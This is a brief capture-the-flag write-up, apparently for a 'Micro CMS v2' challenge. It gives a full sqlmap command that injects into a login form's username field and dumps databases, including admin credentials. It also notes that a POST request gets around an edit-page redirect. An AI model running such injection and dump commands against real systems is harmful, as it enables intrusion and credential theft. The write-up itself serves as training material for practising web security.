Micro Cms V2
It requires to login to create or edit page, the login page seems injectable.
sqlmap -u http://34.74.105.127/239c7507f5/login --method POST --data "username=FUZZ&password=" -p username --dbs --dbms mysql --regexp "invalid password" --level 2 --dump --random-agentFound admin credential in sqlmap output admins.csv. After login, found one flag. In another output of sqlmap pages.csv there is another flag.
Try to edit or create a page, but it always redirect to login page. check what options are allowed for editing page.
How about a post request.
Now we get a flag in response.